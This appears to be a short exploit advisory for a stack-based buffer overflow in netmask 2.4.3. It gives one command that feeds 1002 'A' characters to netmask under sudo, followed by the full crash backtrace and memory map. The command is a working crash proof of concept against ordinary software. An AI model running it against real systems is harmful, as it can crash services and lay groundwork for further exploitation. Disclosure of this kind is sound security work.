################
#Exploit Title: netmask stack-based buffer overflow
#CWE: CWE-119
#Exploit Author: Hosein Askari
#Version : 2.4.3
#Tested on: kali linux
#Category: Application
#Author Mail : hosein.askari@aol.com
###############################
#sudo netmask $(python -c 'print "A"*1002')
*** buffer overflow detected ***: netmask terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x67f4a)[0xb7e62f4a]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x58)[0xb7ef4db8]
/lib/i386-linux-gnu/libc.so.6(+0xf7fe8)[0xb7ef2fe8]
/lib/i386-linux-gnu/libc.so.6(+0xf77f8)[0xb7ef27f8]
/lib/i386-linux-gnu/libc.so.6(_IO_default_xsputn+0xa6)[0xb7e67846]
/lib/i386-linux-gnu/libc.so.6(_IO_vfprintf+0x1d7b)[0xb7e3f57b]
/lib/i386-linux-gnu/libc.so.6(__vsprintf_chk+0x8d)[0xb7ef288d]
/lib/i386-linux-gnu/libc.so.6(__sprintf_chk+0x20)[0xb7ef27e0]
netmask[0x804c013]
netmask(warn+0x32)[0x804c102]
netmask[0x8048be7]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf6)[0xb7e13276]
netmask[0x8048c85]
======= Memory map: ========
08048000-0804e000 r-xp 00000000 08:01 1310931 /usr/bin/netmask
0804e000-0804f000 r--p 00005000 08:01 1310931 /usr/bin/netmask
0804f000-08050000 rw-p 00006000 08:01 1310931 /usr/bin/netmask
08050000-08071000 rw-p 00000000 00:00 0 [heap]
b7caf000-b7d26000 r-xp 00000000 08:01 917592 /lib/i386-linux-gnu/libpcre.so.3.13.3
b7d26000-b7d27000 r--p 00076000 08:01 917592 /lib/i386-linux-gnu/libpcre.so.3.13.3
b7d27000-b7d28000 rw-p 00077000 08:01 917592 /lib/i386-linux-gnu/libpcre.so.3.13.3
b7d28000-b7d41000 r-xp 00000000 08:01 924791 /lib/i386-linux-gnu/libpthread-2.24.so
b7d41000-b7d42000 r--p 00018000 08:01 924791 /lib/i386-linux-gnu/libpthread-2.24.so
b7d42000-b7d43000 rw-p 00019000 08:01 924791 /lib/i386-linux-gnu/libpthread-2.24.so
b7d43000-b7d45000 rw-p 00000000 00:00 0
b7d45000-b7d61000 r-xp 00000000 08:01 922883 /lib/i386-linux-gnu/libgcc_s.so.1
b7d61000-b7d62000 r--p 0001b000 08:01 922883 /lib/i386-linux-gnu/libgcc_s.so.1
b7d62000-b7d63000 rw-p 0001c000 08:01 922883 /lib/i386-linux-gnu/libgcc_s.so.1
b7d63000-b7d66000 r-xp 00000000 08:01 924780 /lib/i386-linux-gnu/libdl-2.24.so
b7d66000-b7d67000 r--p 00002000 08:01 924780 /lib/i386-linux-gnu/libdl-2.24.so
b7d67000-b7d68000 rw-p 00003000 08:01 924780 /lib/i386-linux-gnu/libdl-2.24.so
b7d68000-b7d6f000 r-xp 00000000 08:01 924793 /lib/i386-linux-gnu/librt-2.24.so
b7d6f000-b7d70000 r--p 00006000 08:01 924793 /lib/i386-linux-gnu/librt-2.24.so
b7d70000-b7d71000 rw-p 00007000 08:01 924793 /lib/i386-linux-gnu/librt-2.24.so
b7d71000-b7d9a000 r-xp 00000000 08:01 919192 /lib/i386-linux-gnu/libselinux.so.1
b7d9a000-b7d9b000 r--p 00028000 08:01 919192 /lib/i386-linux-gnu/libselinux.so.1
b7d9b000-b7d9c000 rw-p 00029000 08:01 919192 /lib/i386-linux-gnu/libselinux.so.1
b7d9c000-b7d9d000 rw-p 00000000 00:00 0
b7d9d000-b7de1000 r-xp 00000000 08:01 919036 /lib/i386-linux-gnu/libnss_resolve.so.2
b7de1000-b7de3000 r--p 00043000 08:01 919036 /lib/i386-linux-gnu/libnss_resolve.so.2
b7de3000-b7de4000 rw-p 00045000 08:01 919036 /lib/i386-linux-gnu/libnss_resolve.so.2
b7de4000-b7de6000 r-xp 00000000 08:01 922807 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
b7de6000-b7de7000 r--p 00001000 08:01 922807 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
b7de7000-b7de8000 rw-p 00002000 08:01 922807 /lib/i386-linux-gnu/libnss_mdns4_minimal.so.2
b7de8000-b7df3000 r-xp 00000000 08:01 924786 /lib/i386-linux-gnu/libnss_files-2.24.so
b7df3000-b7df4000 r--p 0000a000 08:01 924786 /lib/i386-linux-gnu/libnss_files-2.24.so
b7df4000-b7df5000 rw-p 0000b000 08:01 924786 /lib/i386-linux-gnu/libnss_files-2.24.so
b7df5000-b7dfb000 rw-p 00000000 00:00 0
b7dfb000-b7fae000 r-xp 00000000 08:01 924777 /lib/i386-linux-gnu/libc-2.24.so
b7fae000-b7faf000 ---p 001b3000 08:01 924777 /lib/i386-linux-gnu/libc-2.24.so
b7faf000-b7fb1000 r--p 001b3000 08:01 924777 /lib/i386-linux-gnu/libc-2.24.so
b7fb1000-b7fb2000 rw-p 001b5000 08:01 924777 /lib/i386-linux-gnu/libc-2.24.so
b7fb2000-b7fb5000 rw-p 00000000 00:00 0
b7fd4000-b7fd7000 rw-p 00000000 00:00 0
b7fd7000-b7fd9000 r--p 00000000 00:00 0 [vvar]
b7fd9000-b7fdb000 r-xp 00000000 00:00 0 [vdso]
b7fdb000-b7ffd000 r-xp 00000000 08:01 922884 /lib/i386-linux-gnu/ld-2.24.so
b7ffd000-b7ffe000 rw-p 00000000 00:00 0
b7ffe000-b7fff000 r--p 00022000 08:01 922884 /lib/i386-linux-gnu/ld-2.24.so
b7fff000-b8000000 rw-p 00023000 08:01 922884 /lib/i386-linux-gnu/ld-2.24.so
bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
Aborted (core dumped)
